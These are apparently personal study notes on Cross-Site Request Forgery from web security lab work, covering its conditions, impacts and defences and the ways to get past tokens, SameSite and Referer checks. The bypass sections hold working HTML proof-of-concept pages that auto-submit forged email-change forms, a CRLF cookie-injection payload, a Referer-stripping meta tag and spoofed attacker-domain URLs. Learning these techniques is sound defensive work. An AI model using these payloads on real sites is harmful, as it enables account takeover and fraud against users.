CSRF notes

Eyad Islam El-Taher

October 14, 2025

Introduction

CSRF (Cross-Site Request Forgery) $\Longrightarrow$ A web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It allows an attacker to partly circumvent the same origin policy, which is designed to prevent different websites from interfering with each other.

CSRF vulnerabilities happen when

CSRF vulnerabilities happen when a web application relies solely on the automatic submission of a user's credentials (like session cookies) to authenticate a request, without requiring any other proof that the user actually intended to perform that action.

Key conditions that must be present for a CSRF attack to be possible:

- **Cookie-Based Session Handling:** The application uses session cookies to identify the user. The browser automatically sends these cookies with every request to the domain.
- **No Unpredictable Tokens:** The application does not use CSRF tokens (unique, secret, and unpredictable values) to validate that the request came from a legitimate source on its own site. (CSRF tokens can be manipulate)
- **No Additional Confirmation:** The application does not require re-authentication (e.g., password) for sensitive actions.
- **Predictable Request Parameters:** The attacker can reliably guess the parameters needed for a state-changing request (e.g., changing an email, transferring funds).

CSRF vulnerabilities happen where

CSRF vulnerabilities happen in the web application's server-side code, specifically in its handling of state-changing HTTP requests.

- **User Account Settings:** Changing a password, updating an email address.
- **E-commerce Functions:** Adding items to a cart, applying discount coupons, making a purchase.
- **Financial Transactions:** Transferring funds between accounts.
- **Social Media & Content:** Posting a status, sending a message, liking a post.
- **Admin Functions:** Promoting a user to an admin, deleting user accounts.

How CSRF vulnerabilities effect on users

- **Unauthorized Financial Transactions:** An attacker could force a user to transfer money out of their bank or brokerage account without their knowledge.
- **Account Takeover:** An attacker can change the victim's email address and/or password, effectively locking them out of their own account and giving the attacker full control.
- **Data Theft and Privacy Breach:** While CSRF doesn't typically steal data directly, an attacker could change privacy settings to expose private data or use it as a stepping stone for further attacks.

- **Reputational Damage and Social Embarrassment:** An attacker could force a user to post embarrassing status updates, send offensive messages to friends, or delete important content from their social media profiles.
- **Fraudulent Purchases:** On an e-commerce site, an attacker could make the victim purchase items to be shipped to the attacker's address.

How CSRF Works:

- **Step 1:** The victim logs into a trusted site (e.g., good-website.com), which authenticates them and sets a session cookie in their browser.
- **Step 2:** The victim, in a different tab, visits a malicious site created by the attacker (evil-website.com).
- **Step 3:** The malicious site contains hidden HTML that automatically sends a request to the trusted site (good-website.com). This is the forged request.
- **Step 4:** The victim's browser, being loyal, sees a request going to good-website.com and automatically attaches the valid session cookie from Step 1.
- **Step 5:** The trusted site (good-website.com) receives the request with a valid session cookie. It thinks, "This is a legitimate request from my logged-in user!" and processes it.
- **Step 6:** The action is completed without the victim's knowledge or consent.

How to construct a CSRF attack:

The easiest way to construct a CSRF exploit is using the CSRF PoC generator that is built in to Burp Suite Professional:

- **Step 1:** Select a request anywhere in Burp Suite Professional that you want to test or exploit.
- **Step 2:** From the right-click context menu, select Engagement tools / Generate CSRF PoC.
- **Step 3:** Burp Suite will generate some HTML that will trigger the selected request (minus cookies, which will be added automatically by the victim's browser).
- **Step 4:** You can tweak various options in the CSRF PoC generator to fine-tune aspects of the attack. You might need to do this in some unusual situations to deal with quirky features of requests.
- **Step 5:** Copy the generated HTML into a web page, view it in a browser that is logged in to the vulnerable website, and test whether the intended request is issued successfully and the desired action occurs.

How to deliver a CSRF exploit:

The delivery mechanisms for cross-site request forgery attacks are essentially the same as for reflected XSS. Typically, the attacker will place the malicious HTML onto a website that they control, and then induce victims to visit that website. This might be done by feeding the user a link to the website, via an email or social media message. Or if the attack is placed into a popular website (for example, in a user comment), they might just wait for users to visit the website.

Note that some simple CSRF exploits employ the GET method and can be fully self-contained with a single URL on the vulnerable website. In this situation, the attacker may not need to employ an external site, and can directly feed victims a malicious URL on the vulnerable domain.

Common defences against CSRF:

- CSRF tokens
- SameSite cookies
- Referer-based validation

CSRF tokens bypass

A CSRF token is a unique, secret, and unpredictable value that is generated by the server-side application and shared with the client. When attempting to perform a sensitive action, such as submitting a form, the client must include the correct CSRF token in the request. This makes it very difficult for an attacker to construct a valid request on behalf of the victim.

1. **If CSRF token depends on request method**
   Some applications correctly validate the token when the request uses the POST method but skip the validation when the GET method is used.

   - From the right-click context menu, select change request method $\Longrightarrow$ to switch between POST and GET methods
   - From the right-click context menu, select Engagement tools / Generate CSRF PoC.

2. **If CSRF token depends on token being present**
   Some applications correctly validate the token when it is present but skip the validation if the token is omitted.
   if the POSR request body like this

   ```
   email=saaaaadfds%40gmail.com&csrf=iHMm0Q4MbEGvSbjwPWCRmKtPfwvyXDFv
   ```

   remove the CSRF token

   ```
   email=saaaaadfds%40gmail.com
   ```

3. **If CSRF token is not tied to the user session**
   Some applications do not validate that the token belongs to the same session as the user who is making the request. Instead, the application maintains a global pool of tokens that it has issued and accepts any token that appears in this pool.

   In this situation, the attacker can log in to the application using their own account, obtain a valid token, and then feed that token to the victim user in their CSRF attack.

4. **If CSRF token is tied to a non-session cookie**
   Some applications do tie the CSRF token to a cookie, but not to the same cookie that is used to track sessions. This can easily occur when an application employs two different frameworks, one for session handling and one for CSRF protection, which are not integrated together

   ```
   POST /email/change HTTP/1.1
   Host: vulnerable-website.com
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 68
   Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6
   atzagGoSYyqJqTz5dv

   csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com
   ```

   We have to see if the CSRF token is tied to CSRF cookie NOT the session cookie
   Step 1: Check if the CSRF token is tied to CSRF cookie

   - Sumbit an invalid CSRF token
   - Sumbit a valid CSRF token but from another user (from private window)

   Step 2: Check if the CSRF token is tied to CSRF cookie NOT the session cookie

   - Sumbit a valid CSRF token and CSRF cookie from another user to see if the session cookie also tied to them or not

   if not this is good news that means that the session handling system and the csrf defense mechanism are not tied together so what we need in order to exploit this vulnerability is to be able to inject an http cookie called csrf key and inject our own
   The idea is to make a malicious website that inject our own csrf cookie into the user browser

the CSRF POS

```
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
        <body>
                <form action="https://website.nett\/my-account/change-ema
                il" method="POST">

                        <input type="hidden" name="email" value="testma
                        il310&#64;normal&#45;user&#46;net" />

                        <input type="hidden" name="csrf" value="QHBtrtc
                        T4hitwv8Q6I2DVEYLwBJnVSpn" />

                        <input type="submit" value="Submit request" />
                </form>

<img src="https://website.net/?search=sdfdsfdsf%0D%0ASet-Cookie%3A+cs
rfKey%3Dk6iDX1lTVk0e0CuPbGPAamOUVhBZ0HNX" onerror="document.forms[0].subm
it()">
</body>
</html>
```

So when the user open the link his browser will set the hacker's csrfkey cookie and by using the hacker CSRF token also $\Longrightarrow$ the attacker is able to change the email

5. **If CSRF token is simply duplicated in a cookie**
   Some applications do not maintain any server-side record of tokens that have been issued, but instead duplicate each token within a cookie and a request parameter. When the subsequent request is validated, the application simply verifies that the token submitted in the request parameter matches the value submitted in the cookie. This is sometimes called the "double submit" defense against CSRF

```
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFy

csrf=R8ov2YBfTYmzFy&email=wiener@normal-user.com
```

The attacker can again perform a CSRF attack if the website contains any cookie setting functionality. Here, the attacker doesn't need to obtain a valid token of their own. They simply invent a token (perhaps in the required format, if that is being checked), leverage the cookie-setting behavior to place their cookie into the victim's browser, and feed their token to the victim in their CSRF attack.

SameSite cookies bypass

SameSite is a browser security mechanism that determines when a website's cookies are included in requests originating from other websites. As requests to perform sensitive actions typically require an authenticated session cookie, the appropriate SameSite restrictions may prevent an attacker from triggering these actions cross-site. Since 2021, Chrome enforces Lax SameSite restrictions by default. As this is the proposed standard, we expect other major browsers to adopt this behavior in future.

Bypassing Referer-based CSRF defenses

Some applications make use of the HTTP Referer header to attempt to defend against CSRF attacks, normally by verifying that the request originated from the application's own domain. This is generally less effective than CSRF token validation.

Referer header

The HTTP Referer header (which is inadvertently misspelled in the HTTP specification) is an optional request header that contains the URL of the web page that linked to the resource that is being requested. It is generally added automatically by browsers when a user triggers an HTTP request, including by clicking a link or submitting a form. Various methods exist that allow the linking page to withhold or modify the value of the Referer header. This is often done for privacy reasons.

1. **Validation of Referer depends on header being present**
   Some applications validate the Referer header when it is present in requests but skip the validation if the header is omitted. Some applications validate the Referer header when it is present in requests but skip the validation if the header is omitted.

   In this situation, an attacker can craft their CSRF exploit in a way that causes the victim user's browser to drop the Referer header in the resulting request. There are various ways to achieve this, but the easiest is using a META tag within the HTML page that hosts the CSRF attack:

```
<meta name="referrer" content="never">
```

   Note $\Longrightarrow$ the meta tag is in the header not the body of the HTML page so, CSRF POC look like

```
<html>
  <head>
     <meta name="referrer" content="never">
  <head>
  <body>
    <form action="website.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="er&#64;mal&#45;user&#46"/>
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```

2. **Validation of Referer can be circumvented**
   Some applications validate the Referer header in a naive way that can be bypassed. For example, if the application validates that the domain in the Referer starts with the expected value, then the attacker can place this as a subdomain of their own domain:

```
http://vulnerable-website.com.attacker-website.com/csrf-attack
```

   Likewise, if the application simply validates that the Referer contains its own domain name, then the attacker can place the required value elsewhere in the URL:

```
http://attacker-website.com/csrf-attack?vulnerable-website.com
```

   Note $\Longrightarrow$ Although you may be able to identify this behavior using Burp, you will often find that this approach no longer works when you go to test your proof-of-concept in a browser. In an attempt to reduce the risk of sensitive data being leaked in this way, many browsers now strip the query string from the Referer header by default.

   You can override this behavior by making sure that the response containing your exploit has the "Referrer-Policy: unsafe-url" header set (note that Referrer is spelled correctly in this case, just to make sure you're paying attention!). This ensures that the full URL will be sent, including the query string.

How to Add "Referrer-Policy: unsafe-url" Correctly

- Go to Proxy → Settings in Burp
- Find the Match and Replace section
- Click Add
- Configure the rule:
  - Type: Replace response header
  - Match: Referrer-Policy
  - Replace: Referrer-Policy: unsafe-url
- Click OK

Now when your browser requests the PoC HTML, Burp will automatically add the correct header to the server's response.

Note $\Longrightarrow$ If you found the CSRF and you will make the POC make first the Referer using realserver then like burpsuite (the vuln web still just a query parameter)

```
Referer:https://burpsuite/?0ae30066047b8a858251259a00ed0054.web-secu
rity-academy.net
```

And the POC look like

```
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0ae30066047b8a858251259a00ed0054.web-secur
    ity-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="ssf&#64;mdsail&#46;com"/>
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/?0ae30066047b8a858251259a00ed0054.web-s
      ecurity-academy.net');
      document.forms[0].submit();
    </script>
  </body>
</html>
```

Note $\Longrightarrow$ the last parameter in method "history.pushState" is the query parameter which is the vuln website as you see